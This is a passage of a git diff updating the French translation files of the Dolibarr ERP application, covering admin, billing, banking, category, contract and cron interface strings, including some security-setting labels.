      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Chemin d'accès au fichier contenant la traduction de l'adresse IP Maxmind vers le pays NoteOnPathLocation=Notez que ce fichier doit être dans un répertoire accessible à votre PHP (Vérifiez le paramètre open_basedir de votre PHP et les permissions du fichier/répertoires). YouCanDownloadFreeDatFileTo=Vous pouvez télécharger une version démo gratuite de la base Maxmind à l'adresse %s. YouCanDownloadAdvancedDatFileTo=Vous pouvez aussi télécharger une version plus complète avec mise à jours de la base Maxmind à l'adresse %s. @@ -1931,7 +1953,8 @@ BackupDumpWizard=Assistant pour créer le fichier dump de la base de données BackupZipWizard=Assistant pour générer l'archive du répertoire documents SomethingMakeInstallFromWebNotPossible=L'installation de module externe est impossible depuis l'interface web pour la raison suivante : SomethingMakeInstallFromWebNotPossible2=Pour cette raison, le processus de mise à jour décrit ici est une processus manuel que seul un utilisateur ayant des droits privilégiés peut réaliser. -InstallModuleFromWebHasBeenDisabledByFile=L'installation de module externe depuis l'application a été désactivé par l'administrator. Vous devez lui demander de supprimer le fichier %s pour permettre cette fonctionnalité. +InstallModuleFromWebHasBeenDisabledContactUs=L'installation ou le développement de modules externes ou de sites Web dynamiques, à partir de l'application, est actuellement verrouillé pour des raisons de sécurité. Veuillez nous contacter si vous avez besoin d'activer cette fonctionnalité. +InstallModuleFromWebHasBeenDisabledByFile=L'installation de module externe depuis l'application a été désactivé par l'administrateur. Vous devez lui demander de supprimer le fichier %s pour permettre cette fonctionnalité. ConfFileMustContainCustom=Installer ou créer un module externe à partir de l'application nécessite de sauvegarder les fichiers du module dans le répertoire %s. Pour que ce répertoire soit reconnu par Dolibarr, vous devez paramétrer le fichier de configuration conf/conf.php en ajoutant les 2 lignes suivantes :
      $dolibarr_main_url_root_alt='/custom'
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Mettre en surbrillance les lignes de la table lorsque la souris passe au-dessus HighlightLinesColor=Couleur de la ligne de surbrillance lorsque la souris passe au-dessus (mettre 'ffffff' pour ne pas mettre en surbrillance) @@ -2058,6 +2081,8 @@ RemoveSpecialChars=Supprimer les caractères spéciaux COMPANY_AQUARIUM_CLEAN_REGEX=Filtre Regex pour nettoyer la valeur (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtre de regex pour nettoyer la valeur (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Doublons non autorisés +RemoveSpecialWords=Nettoyer certains mots lors de la génération des comptes comptables des tiers pour les clients ou les fournisseurs +RemoveSpecialWordsHelp=Précisez les mots à nettoyer avant de calculer le compte comptable des tiers client ou fournisseur. Utiliser un ";" entre chaque mot GDPRContact=Responsable de la protection des données (DPO ou contact RGPD) GDPRContactDesc=Si vous stockez des données personnelles dans votre système d'information, vous pouvez nommer ici le contact responsable du règlement général sur la protection des données HelpOnTooltip=Texte d'aide à afficher dans l'info-bulle @@ -2115,6 +2140,7 @@ CodeLastResult=Dernier code de retour NbOfEmailsInInbox=Nombre de courriels dans le répertoire source LoadThirdPartyFromName=Charger le Tiers en cherchant sur %s (chargement uniquement) LoadThirdPartyFromNameOrCreate=Charger le Tiers en cherchant sur %s (créer si non trouvé) +LoadContactFromEmailOrCreate=Charger le Contact en cherchant sur %s (créer si non trouvé) AttachJoinedDocumentsToObject=Enregistrez les fichiers joints dans des documents d'objet si la référence d'un objet est trouvée dans le sujet de l'e-mail. WithDolTrackingID=Message d'une conversation initiée par un premier mail envoyé depuis Dolibarr WithoutDolTrackingID=Message d'une conversation initiée par un premier e-mail NON envoyé depuis Dolibarr @@ -2189,6 +2215,7 @@ ShowProjectLabel=Libellé du projet PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Inclure un alias dans le nom du tiers THIRDPARTY_ALIAS=Nom du tiers - Alias du tiers ALIAS_THIRDPARTY=Alias du tiers - Nom du tiers +PDFIn2Languages=Afficher les étiquettes au format PDF dans 2 langues différentes PDF_USE_ALSO_LANGUAGE_CODE=Si vous souhaitez que certains textes de votre PDF soient dupliqués dans 2 langues différentes dans le même PDF généré, vous devez définir ici cette deuxième langue pour que le PDF généré contienne 2 langues différentes dans la même page, celle choisie lors de la génération du PDF et celle-ci (seuls quelques modèles PDF prennent en charge cette fonction). Gardez vide pour 1 langue par PDF. PDF_USE_A=Générer document PDF avec le format PDF/A à la place du format PDF standard FafaIconSocialNetworksDesc=Entrez ici le code d'une icône FontAwesome. Si vous ne savez pas ce qu'est FontAwesome, vous pouvez utiliser la valeur générique fa-address-book. @@ -2217,12 +2244,12 @@ MailToPartnership=Partenariat AGENDA_EVENT_DEFAULT_STATUS=État de l’événement par défaut lors de la création d’un événement à partir du formulaire YouShouldDisablePHPFunctions=Vous devriez désactiver les fonctions PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Sauf si vous avez besoin de lancer des commandes système, vous devriez désactiver les fonctions PHP -PHPFunctionsRequiredForCLI=Pour un interfaçage (comme des tâches de sauvegarde planifiée ou pour lancer un programme antivirus), vous devez garder les fonctions PHP +PHPFunctionsRequiredForCLI=À des fins de shell (comme la sauvegarde de tâches planifiées ou l'exécution d'un programme antivirus), vous devez conserver les fonctions PHP NoWritableFilesFoundIntoRootDir=Aucun fichier ou répertoire des programmes courants n’a été trouvé en écriture dans votre répertoire racine (Bon) RecommendedValueIs=Recommandé : %s Recommended=Recommandé NotRecommended=Non recommandé -ARestrictedPath=Des chemins restreints +ARestrictedPath=Certains chemins restreints pour les fichiers de données CheckForModuleUpdate=Vérifier les mises à jour des modules externes CheckForModuleUpdateHelp=Cette action se connecte aux éditeurs des modules externes pour vérifier si une nouvelle version est disponible. ModuleUpdateAvailable=Une mise à jour est disponible @@ -2270,10 +2297,10 @@ LateWarningAfter=Icône de retard après TemplateforBusinessCards=Modèles de cartes de visite dans différents formats InventorySetup= Configuration du module Inventaire ExportUseLowMemoryMode=Utiliser un mode mémoire faible -ExportUseLowMemoryModeHelp=Utilisez le mode mémoire faible pour exécuter l'exécution du vidage (la compression se fait via un tube plutôt que dans la mémoire PHP). Cette méthode ne permet pas de vérifier que le fichier est terminé et le message d'erreur ne peut pas être signalé en cas d'échec. +ExportUseLowMemoryModeHelp=Utilisez le mode mémoire faible pour générer le fichier dump (la compression se fait via un pipe plutôt que dans la mémoire PHP). Cette méthode ne permet pas de vérifier que le fichier est complet et le message d'erreur ne peut pas être signalé en cas d'échec. Utilisez ce mode si vous avez des erreurs dues à un manque de mémoire. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface pour déclencher un appel d'URL externe suite à un événement Dolibarr +ModuleWebhookDesc = Interface permettant de définir les événements déclenchables de dolibarr et d'envoyer les données de l'événement via une URL WebhookSetup = Configuration du webhook Settings = Paramètres WebhookSetupPage = Page de configuration du webhook @@ -2294,6 +2321,8 @@ IconOnly=Icône uniquement - Texte sur l'info-bulle uniquement INVOICE_ADD_ZATCA_QR_CODE=Afficher le code QR ZATCA sur les factures INVOICE_ADD_ZATCA_QR_CODEMore=Certains pays arabes ont besoin de ce code QR sur leurs factures INVOICE_ADD_SWISS_QR_CODE=Afficher la QR-facture suisse sur les factures +INVOICE_SHOW_SHIPPING_ADDRESS=Afficher l'adresse de livraison +INVOICE_SHOW_SHIPPING_ADDRESSMore=Mention obligatoire pour la France UrlSocialNetworksDesc=Lien url du réseau social. Utilisez {socialid} pour la partie variable qui contient l'identifiant du réseau social. IfThisCategoryIsChildOfAnother=Si cette catégorie est un enfant d'une autre DarkThemeMode=Mode thème sombre @@ -2312,9 +2341,8 @@ MAIN_MAIL_SMTPS_AUTH_TYPE=Méthode d'authentification UsePassword=Utiliser mot de passe UseOauth=Utiliser un token OAUTH Images=Images -Posts=publications MaxNumberOfImagesInGetPost=Nombre maximum d'images autorisées dans un champ HTML soumis dans un formulaire -MaxNumberOfPostOnPublicPagesByIP=Nombre maximum de publications sur des pages publiques avec une adresse IP +MaxNumberOfPostOnPublicPagesByIP=Nombre maximum de publications sur des pages publiques avec la même adresse IP en un mois CIDLookupURL=Le module apporte une URL qui peut être utilisée par un outil externe pour obtenir le nom d'un tiers ou d'un contact à partir de son numéro de téléphone. L'URL à utiliser est : ScriptIsEmpty=Le script est manquant ShowHideTheNRequests=Afficher/Cacher les %s requête(s) SQL. @@ -2330,4 +2358,21 @@ HelpCssOnViewDesc=Le CSS utilisé lors de l'affichage du champ. HelpCssOnListDesc=Le CSS utilisé lorsque le champ est à l'intérieur du tableau d'une liste.
      Exemple : "tdoverflowmax200" RECEPTION_PDF_HIDE_ORDERED=Masquer la quantité commandée sur les documents générés pour les réceptions MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Afficher le prix sur les documents générés pour les réceptions -AllowExternalDownload=Autoriser le téléchargement externe +WarningDisabled=Avertissement désactivé +LimitsAndMitigation=Limites d'accès et atténuation +DesktopsOnly=Ordinateurs de bureau uniquement +DesktopsAndSmartphones=Ordinateurs de bureau et smartphones +AllowOnlineSign=Autoriser la signature en ligne +AllowExternalDownload=Autoriser le téléchargement externe (sans connexion, en utilisant un lien partagé) +DeadlineDayVATSubmission=Date limite pour la soumission de la TVA le mois suivant +MaxNumberOfAttachementOnForms=Nombre maximum de fichiers joints dans un formulaire +IfDefinedUseAValueBeetween=Si défini, utilisez une valeur entre %s et %s +Reload=Recharger +ConfirmReload=Confirmer le rechargement du module +WarningModuleHasChangedLastVersionCheckParameter=Attention : le module %sa configuré un paramètre de vérification de sa version à chaque chargement de page. Cette mauvaise pratique, non autorisée, pourrait rendre instable la page d'administration des modules. Veuillez contacter l'auteur du module pour qu'il régle ce problème. +WarningModuleHasChangedSecurityCsrfParameter=Attention : le module %sa désactivé la sécurisation CSRF de votre instance. Cette action est suspecte et votre installation pourrait ne plus être sécurisée. Veuillez contacter l'auteur du module pour obtenir des explications. +EMailsInGoingDesc=La réception des e-mails est gérée par le module %s. Vous devez l'activer et le configurer si vous avez besoin de prendre en charge messages entrants. +MAIN_IMAP_USE_PHPIMAP=Utiliser la librairie PHP-IMAP pour la prise en charge IMAP, à la place du support IMAP natif de PHP. Ceci permet également l'utilisation d'une connexion OAuth2 pour IMAP (le module OAuth doit aussi être activé). +MAIN_CHECKBOX_LEFT_COLUMN=Afficher la colonne de sélection de champ et de ligne à gauche (à droite par défaut) + +CSSPage=Style CSS diff --git a/htdocs/langs/fr_FR/agenda.lang b/htdocs/langs/fr_FR/agenda.lang index 62dbae7233e..86e97805dd5 100644 --- a/htdocs/langs/fr_FR/agenda.lang +++ b/htdocs/langs/fr_FR/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Expédition %s remise au statut brouillon ShipmentDeletedInDolibarr=Expédition %s supprimée ShipmentCanceledInDolibarr=Expédition %s annulée ReceptionValidatedInDolibarr=Réception %s validée +ReceptionDeletedInDolibarr=Réception %s supprimée ReceptionClassifyClosedInDolibarr=Réception %s classée fermée OrderCreatedInDolibarr=Commande %s créée OrderValidatedInDolibarr=Commande %s validée @@ -176,5 +177,6 @@ ReminderType=Type de rappel AddReminder=Créer une notification de rappel automatique pour cet événement ErrorReminderActionCommCreation=Erreur lors de la création de la notification de rappel pour cet événement BrowserPush=Notification par Popup navigateur +Reminders=Rappels ActiveByDefault=Activé par défaut Until=jusqu'à diff --git a/htdocs/langs/fr_FR/banks.lang b/htdocs/langs/fr_FR/banks.lang index 35de9806932..bd9ea2ee1b3 100644 --- a/htdocs/langs/fr_FR/banks.lang +++ b/htdocs/langs/fr_FR/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Domiciliation du compte BankAccountCountry=Pays du compte BankAccountOwner=Nom du propriétaire du compte BankAccountOwnerAddress=Adresse du propriétaire du compte +BankAccountOwnerZip=Code postal du détenteur du compte +BankAccountOwnerTown=Ville du détenteur du compte +BankAccountOwnerCountry=Pays du détenteur du compte CreateAccount=Créer compte NewBankAccount=Nouveau compte NewFinancialAccount=Nouveau compte financier @@ -185,4 +188,3 @@ AlreadyOneBankAccount=un compte bancaire est déjà défini SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Virement SEPA : 'Type de paiement' au niveau 'Virement' SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=A la génération d'un fichier SEPA XML pour les virements, la section "PaymentTypeInformation" peut maintenant être placée dans la section "CreditTransferTransactionInformation" (à la place de la section "Payment").\nNous recommandons fortement de ne pas cocher cette case pour conserver "PaymentTypeInformation" dans "Payment level" car toutes les banques ne l'accepterons pas obligatoirement au niveau de "CreditTransferTransactionInformation". Contactez votre banque avant de modifier ce paramètre. ToCreateRelatedRecordIntoBank=Pour créer un enregistrement bancaire associé manquant -BanklineExtraFields=Extrait de la ligne bancaire diff --git a/htdocs/langs/fr_FR/bills.lang b/htdocs/langs/fr_FR/bills.lang index 15a7901a2e9..48e9bc5120e 100644 --- a/htdocs/langs/fr_FR/bills.lang +++ b/htdocs/langs/fr_FR/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Statistiques factures clients BillsStatisticsSuppliers=Statistiques factures fournisseurs DisabledBecauseDispatchedInBookkeeping=Action désactivée car facture comptabilisée dans le grand livre DisabledBecauseNotLastInvoice=Action désactivée car facture non supprimable. Des factures ont été créées après celle-ci et cela va créer un trou dans la numérotation des factures. +DisabledBecauseNotLastSituationInvoice=Désactivé car la facture n'est pas effaçable. Cette facture n'est pas la dernière du cycle des factures de situation. DisabledBecauseNotErasable=Désactivé car non supprimable InvoiceStandard=Facture standard InvoiceStandardAsk=Facture standard InvoiceStandardDesc=Ce type de facture est la facture traditionnelle. On l'appelle aussi facture de doit (du verbe devoir). +InvoiceStandardShort=Standard InvoiceDeposit=Facture d'acompte InvoiceDepositAsk=Facture d'acompte InvoiceDepositDesc=Ce type de facture fait suite à réception d'un acompte, s'il n'est pas encore possible de saisir le paiement sur une facture définitive. @@ -24,6 +26,7 @@ InvoiceProForma=Facture proforma InvoiceProFormaAsk=Facture proforma InvoiceProFormaDesc=La facture proforma est une image de facture définitive mais qui n'a aucune valeur comptable. InvoiceReplacement=Facture de remplacement +InvoiceReplacementShort=Remplacement InvoiceReplacementAsk=Facture de remplacement de la facture InvoiceReplacementDesc=La facture de remplacement sert à remplacer complètement une facture existante sur laquelle aucun paiement n'a encore eu lieu.

      Rem: Seules les factures sans aucun paiement peuvent être remplacées. Si ces dernières ne sont pas encore fermées, elles le seront automatiquement au statut 'abandonnée'. InvoiceAvoir=Facture avoir @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Cette partie ou ErrorInvoiceIsNotLastOfSameType=Erreur: La date de la facture %s est %s. Elle doit être postérieur ou égale à la dernière date pour le même type de factures (%s). Veuillez, s'il vous plait, changer la date de la facture. BillFrom=Émetteur BillTo=Adressé à +ShippingTo=Expédition à ActionsOnBill=Événements sur la facture RecurringInvoiceTemplate=Modèle de facture / Facture récurrente NoQualifiedRecurringInvoiceTemplateFound=Pas de facture récurrente qualifiée pour la génération @@ -448,8 +452,8 @@ PaymentTypeShortVIR=Virement bancaire PaymentTypePRE=Ordre de prélèvement PaymentTypePREdetails=(sur compte *-%s) PaymentTypeShortPRE=Ordre de prélèvement -PaymentTypeLIQ=Espèces -PaymentTypeShortLIQ=Espèces +PaymentTypeLIQ=Espèce +PaymentTypeShortLIQ=Espèce PaymentTypeCB=Carte bancaire PaymentTypeShortCB=Carte bancaire PaymentTypeCHQ=Chèque @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Paiement enregistré et facture %s passée SendEmailsRemindersOnInvoiceDueDate=Envoyer un rappel par e-mail pour les factures impayées MakePaymentAndClassifyPayed=Enregistrer un paiement BulkPaymentNotPossibleForInvoice=L'enregistrement de paiements en masse n'est pas possible pour la facture %s (mauvais type de facture ou statut) +MentionVATDebitOptionIsOn=Option de paiement de taxe sur débits +MentionCategoryOfOperations=Catégorie d'opérations +MentionCategoryOfOperations0=Livraison de marchandises +MentionCategoryOfOperations1=Prestation de services +MentionCategoryOfOperations2=Mixte - Livraison de biens & prestation de services diff --git a/htdocs/langs/fr_FR/boxes.lang b/htdocs/langs/fr_FR/boxes.lang index 4cb9011885d..bf80ff0a874 100644 --- a/htdocs/langs/fr_FR/boxes.lang +++ b/htdocs/langs/fr_FR/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Dernières interventions BoxCurrentAccounts=Balance des comptes ouverts BoxTitleMemberNextBirthdays=Anniversaires de ce mois (adhérents) BoxTitleMembersByType=Adhérents par type et par statut +BoxTitleMembersByTags=Adhérents par étiquette et état BoxTitleMembersSubscriptionsByYear=Cotisations des adhérents par année BoxTitleLastRssInfos=Les %s dernières informations de %s BoxTitleLastProducts=Les %s derniers produits/services modifiés @@ -44,13 +45,14 @@ BoxTitleSupplierOrdersAwaitingReception=Commandes fournisseurs en attente de ré BoxTitleLastModifiedContacts=Les %s derniers contacts/adresses modifiés BoxMyLastBookmarks=Mes %s derniers marque-pages BoxOldestExpiredServices=Plus anciens services expirés +BoxOldestActions=Événements les plus anciens à faire BoxLastExpiredServices=Les %s plus anciens contrats avec services actifs expirés BoxTitleLastActionsToDo=Les %s derniers événements à réaliser -BoxTitleOldestActionsToDo=Les %s plus anciens événement non terminés +BoxTitleOldestActionsToDo=Événements %s les plus anciens à faire, non terminés BoxTitleLastContracts=Les %s derniers contrats modifiés BoxTitleLastModifiedDonations=Les %s derniers dons modifiés BoxTitleLastModifiedExpenses=Les %s dernières notes de frais modifiées -BoxTitleLatestModifiedBoms=Les %s derières BOMS modifiées +BoxTitleLatestModifiedBoms=Les %s dernières BOMS modifiées BoxTitleLatestModifiedMos=Les %s derniers ordres de fabrication modifiés BoxTitleLastOutstandingBillReached=Clients dont l'en-cours autorisé est dépassé BoxGlobalActivity=Activité globale (factures, propositions, commandes) @@ -116,6 +118,27 @@ BoxCustomersOutstandingBillReached=Clients dont l'en-cours de facturation est d UsersHome=Accueil des utilisateurs et groupes MembersHome=Accueil des adhérents ThirdpartiesHome=Accueil des tiers +productindex=Home products and services +mrpindex=Home MRP +commercialindex=Home commercial +projectsindex=Home projects +invoiceindex=Home invoices +hrmindex=Home invoices TicketsHome=Accueil des tickets -AccountancyHome=Espace Comptabilité +stockindex=Home stocks +sendingindex=Home shippings +receptionindex=Home receivings +activityindex=Home activity +proposalindex=Home proposal +ordersindex=Home orders +orderssuppliersindex=Home orders suppliers +contractindex=Home contracts +interventionindex=Home interventions +suppliersproposalsindex=Home suppliers proposals +donationindex=Home donations +specialexpensesindex=Home specials expenses +expensereportindex=Home expensereport +mailingindex=Home mailing +opensurveyindex=Home opensurvey +AccountancyHome=Accueil de la comptabilité ValidatedProjects=Projets validés diff --git a/htdocs/langs/fr_FR/categories.lang b/htdocs/langs/fr_FR/categories.lang index 641cf97bacf..9ec6102dc3b 100644 --- a/htdocs/langs/fr_FR/categories.lang +++ b/htdocs/langs/fr_FR/categories.lang @@ -1,5 +1,5 @@ # Dolibarr language file - Source file is en_US - categories -Rubrique=Tag/Catégorie +Rubrique=Tag/catégorie Rubriques=Tags/catégories RubriquesTransactions=Tags/catégories des transactions categories=tags/catégories @@ -54,26 +54,26 @@ SuppliersCategoryShort=Tag/catégorie de fournisseurs CustomersCategoryShort=Tag/catégorie de clients ProductsCategoryShort=Tag/catégorie de produits MembersCategoryShort=Tag/catégorie adhérents -SuppliersCategoriesShort=Tags fournisseurs -CustomersCategoriesShort=Tags clients -ProspectsCategoriesShort=Tags prospects -CustomersProspectsCategoriesShort=Tags clients/prosp. -ProductsCategoriesShort=Tags de produits -MembersCategoriesShort=Tags des adhérents -ContactCategoriesShort=Tags de contacts -AccountsCategoriesShort=Tags des comptes -ProjectsCategoriesShort=Tags de projets -UsersCategoriesShort=Tags utlisateurs +SuppliersCategoriesShort=Tags/catégories fournisseurs +CustomersCategoriesShort=Tags/catégories clients +ProspectsCategoriesShort=Tags/catégories prospects +CustomersProspectsCategoriesShort=Tags/catégories clients/prosp. +ProductsCategoriesShort=Tags/catégories de produits +MembersCategoriesShort=Tags/catégories des adhérents +ContactCategoriesShort=Tags/catégories de contacts +AccountsCategoriesShort=Tags/catégories des comptes +ProjectsCategoriesShort=Tags/catégories de projets +UsersCategoriesShort=Tags/catégories utilisateurs StockCategoriesShort=Tags/catégories d’entrepôt ThisCategoryHasNoItems=Cette catégorie ne contient aucun élément. CategId=ID du(de la) tag/catégorie -ParentCategory=Catégorie parente -ParentCategoryID=ID de la balise/catégorie parent +ParentCategory=Tag/catégorie parent +ParentCategoryID=ID du tag/catégorie parent ParentCategoryLabel=Libellé du tag/catégorie parent CatSupList=Liste des tags/catégories des fournisseurs CatCusList=Liste des tags/catégories des clients/prospects CatProdList=Liste des tags/catégories de produits/services -CatMemberList=Liste des tags/catégories de membres +CatMemberList=Liste des tags/catégories des adhérents CatContactList=Liste des tags/catégories des contacts CatProjectsList=Liste des tags/catégories des projets CatUsersList=Liste des tags/catégories des utilisateurs @@ -81,14 +81,14 @@ CatSupLinks=Liens entre fournisseurs et tags/catégories CatCusLinks=Liens entre clients/prospects et tags/catégories CatContactsLinks=Liens entre contacts/adresses et tags/catégories CatProdLinks=Liens entre produits/services et tags/catégories -CatMembersLinks=Liens entre membres et tags/catégories +CatMembersLinks=Liens entre adhérents et tags/catégories CatProjectsLinks=Liens entre projets et tags/catégories CatUsersLinks=Liaisons entre les utilisateurs et les tags/catégories DeleteFromCat=Enlever des tags/catégories ExtraFieldsCategories=Attributs supplémentaires CategoriesSetup=Configuration des tags/catégories CategorieRecursiv=Lier automatiquement avec le(a) tag/catégorie parent(e) -CategorieRecursivHelp=Si l'option est activé, quand un produit est ajouté dans une sous-catégorie, le produit sera ajouté aussi dans la catégorie parente. +CategorieRecursivHelp=Si l'option est activée, lorsque vous ajoutez un objet dans une sous-catégorie, l'objet sera également ajouté dans les catégories parentes. AddProductServiceIntoCategory=Ajouter le produit/service suivant AddCustomerIntoCategory=Assigner cette catégorie au client AddSupplierIntoCategory=Assigner cette catégorie au fournisseur diff --git a/htdocs/langs/fr_FR/commercial.lang b/htdocs/langs/fr_FR/commercial.lang index 924059a1262..4dbb9576480 100644 --- a/htdocs/langs/fr_FR/commercial.lang +++ b/htdocs/langs/fr_FR/commercial.lang @@ -76,10 +76,14 @@ NoLimit=Pas de limite ToOfferALinkForOnlineSignature=Lien pour signature en ligne WelcomeOnOnlineSignaturePageProposal=Bienvenue sur la page pour accepter les propositions commerciales de %s WelcomeOnOnlineSignaturePageContract=Bienvenue sur la page de signature du contrat PDF %s +WelcomeOnOnlineSignaturePageFichinter=Bienvenue sur la page de signature de PDF d'intervention %s ThisScreenAllowsYouToSignDocFromProposal=Cet écran vous permet d'accepter et signer en ligne, ou de refuser, le devis ou la proposition commerciale ThisScreenAllowsYouToSignDocFromContract=Cet écran vous permet de signer en ligne un contrat au format PDF. +ThisScreenAllowsYouToSignDocFromFichinter=Cet écran vous permet de signer en ligne une intervention au format PDF. ThisIsInformationOnDocumentToSignProposal=Voici les informations sur le document à accepter ou refuser ThisIsInformationOnDocumentToSignContract=Voici les informations sur le contrat à signer +ThisIsInformationOnDocumentToSignFichinter=Ceci est une information sur l'intervention à signer SignatureProposalRef=Signature du devis ou proposition commerciale %s SignatureContractRef=Signature du contrat %s +SignatureFichinterRef=Signature de l'intervention %s FeatureOnlineSignDisabled=Fonctionnalité pour la signature en ligne désactivée ou document généré avant l'activation de la fonctionnalité diff --git a/htdocs/langs/fr_FR/companies.lang b/htdocs/langs/fr_FR/companies.lang index f66d2005c73..35f1050a1db 100644 --- a/htdocs/langs/fr_FR/companies.lang +++ b/htdocs/langs/fr_FR/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Remise relative CustomerAbsoluteDiscountShort=Remise fixe CompanyHasRelativeDiscount=Ce client a une remise par défaut de %s%% CompanyHasNoRelativeDiscount=Ce client n'a pas de remise relative par défaut -HasRelativeDiscountFromSupplier=Vous avez une réduction par défaut de %s%% chez ce fournisseur -HasNoRelativeDiscountFromSupplier=Aucune remise relative par défaut de ce fournisseur +HasRelativeDiscountFromSupplier=Vous bénéficier d'une remise par défaut de %s%% avec ce vendeur. +HasNoRelativeDiscountFromSupplier=Aucune remise relative par défaut chez ce fournisseur CompanyHasAbsoluteDiscount=Ce client dispose de crédits disponibles (avoirs ou acomptes) pour un montant de %s %s CompanyHasDownPaymentOrCommercialDiscount=Ce client a une réduction disponible (commercial, acompte) pour %s%s CompanyHasCreditNote=Ce client a %s %s d'avoirs disponibles -HasNoAbsoluteDiscountFromSupplier=Aucun rabais/crédit disponible auprès de ce fournisseur +HasNoAbsoluteDiscountFromSupplier=Aucun rabais/crédit disponible chez ce fournisseur HasAbsoluteDiscountFromSupplier=Vous avez des crédits disponibles (avoirs ou acomptes) pour %s %s chez ce fournisseur HasDownPaymentOrCommercialDiscountFromSupplier=Vous avez des crédits disponibles (bon de réductions, acomptes) pour %s %s chez ce fournisseur HasCreditNoteFromSupplier=Vous avez des avoirs pour %s %s chez ce fournisseur @@ -499,4 +499,7 @@ OutOfEurope=Hors Union Européenne (UE) CurrentOutstandingBillLate=Montant impayé arrivé à échéance BecarefullChangeThirdpartyBeforeAddProductToInvoice=Attention : selon votre configuration des prix des produits/services, vous devriez changer le tiers avant d'ajouter le produit EmailAlreadyExistsPleaseRewriteYourCompanyName=l'e-mail existe déjà, veuillez réécrire le nom de votre entreprise -TwoRecordsOfCompanyName=plusieurs fiches existent pour cette entreprise merci de nous contacter pour compléter votre demande de partenariat" +TwoRecordsOfCompanyName=plus d'un enregistrement existe pour cette entreprise, veuillez nous contacter pour finaliser votre demande de partenariat +CompanySection=Section société +ShowSocialNetworks=Afficher les réseaux sociaux +HideSocialNetworks=Masquer les réseaux sociaux diff --git a/htdocs/langs/fr_FR/compta.lang b/htdocs/langs/fr_FR/compta.lang index ba43bdcd74e..d39abffd706 100644 --- a/htdocs/langs/fr_FR/compta.lang +++ b/htdocs/langs/fr_FR/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Solde (avant) Balance=Solde Debit=Débit Credit=Crédit +AccountingDebit=Débit +AccountingCredit=Crédit Piece=Pièce AmountHTVATRealReceived=HT collectée AmountHTVATRealPaid=HT payé @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Le rapport de chiffre d'affa TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Le rapport de Chiffre d'affaires encaissé par taux de TVA n'est pas disponible. Ce rapport est uniquement disponible pour le chiffre d'affaires facturé. CalculationMode=Mode de calcul AccountancyJournal=Code journal comptable -ACCOUNTING_VAT_SOLD_ACCOUNT=Compte comptable par défaut pour la TVA - TVA sur les ventes (utilisé si non défini au niveau de la configuration du dictionnaire de TVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Compte comptable par défaut pour la TVA - TVA sur les achats (utilisé si non défini au niveau de la configuration du dictionnaire de TVA) +ACCOUNTING_VAT_SOLD_ACCOUNT=Compte comptable par défaut pour la TVA sur les ventes (utilisé s'il n'est pas défini dans la configuration du dictionnaire TVA) +ACCOUNTING_VAT_BUY_ACCOUNT=Compte comptable par défaut pour la TVA sur les achats (utilisé s'il n'est pas défini dans la configuration du dictionnaire TVA) ACCOUNTING_VAT_PAY_ACCOUNT=Compte comptable par défaut pour le paiement de la TVA -ACCOUNTING_ACCOUNT_CUSTOMER=Compte comptable utilisé pour le tiers client +ACCOUNTING_ACCOUNT_CUSTOMER=Compte comptable par défaut pour les tiers "clients" ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Le compte comptable dédié défini sur la fiche tiers sera utilisé pour l'affectation du compte auxiliaire uniquement. Celui-ci sera utilisé pour la comptabilité générale et comme valeur par défaut de la comptabilité auxiliaire si le compte comptable client dédié du ties n'est pas défini. -ACCOUNTING_ACCOUNT_SUPPLIER=Compte comptable utilisé pour les tiers fournisseur +ACCOUNTING_ACCOUNT_SUPPLIER=Compte comptable par défaut pour les tiers "fournisseurs" ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Le compte de comptabilité dédié défini sur la fiche Tiers sera utilisé pour la comptabilité auxiliaire uniquement. Celui-ci sera utilisé pour le grand livre et comme valeur par défaut de la comptabilité auxiliaire si le compte de comptabilité fournisseur dédié au tiers n'est pas défini. ConfirmCloneTax=Confirmer le clonage de la charge sociale/fiscale ConfirmCloneVAT=Confirmer le clonage d'une déclaration de TVA diff --git a/htdocs/langs/fr_FR/contracts.lang b/htdocs/langs/fr_FR/contracts.lang index 7d6bfc6f2e0..3aa7c41617a 100644 --- a/htdocs/langs/fr_FR/contracts.lang +++ b/htdocs/langs/fr_FR/contracts.lang @@ -101,7 +101,6 @@ TypeContact_contrat_external_BILLING=Contact client facturation contrat TypeContact_contrat_external_CUSTOMER=Contact client suivi contrat TypeContact_contrat_external_SALESREPSIGN=Contact client signataire contrat HideClosedServiceByDefault=Masquer les services fermés par défaut -AllowOnlineSign=Autoriser la signature en ligne ShowClosedServices=Afficher les services fermés HideClosedServices=Masquer les services fermés UserStartingService=Utilisateur démarrant le service diff --git a/htdocs/langs/fr_FR/cron.lang b/htdocs/langs/fr_FR/cron.lang index e851fd5a13a..68456166c2c 100644 --- a/htdocs/langs/fr_FR/cron.lang +++ b/htdocs/langs/fr_FR/cron.lang @@ -26,7 +26,7 @@ CronCommand=Commande CronList=Travaux planifiés CronDelete=Effacer les travaux planifiés CronConfirmDelete=Êtes-vous sûr de vouloir supprimer ces travaux planifiées? -CronExecute=Lancer la tache planifiée +CronExecute=Lancer maintenant CronConfirmExecute=Etes-vous sûr que vous voulez exécuter ces 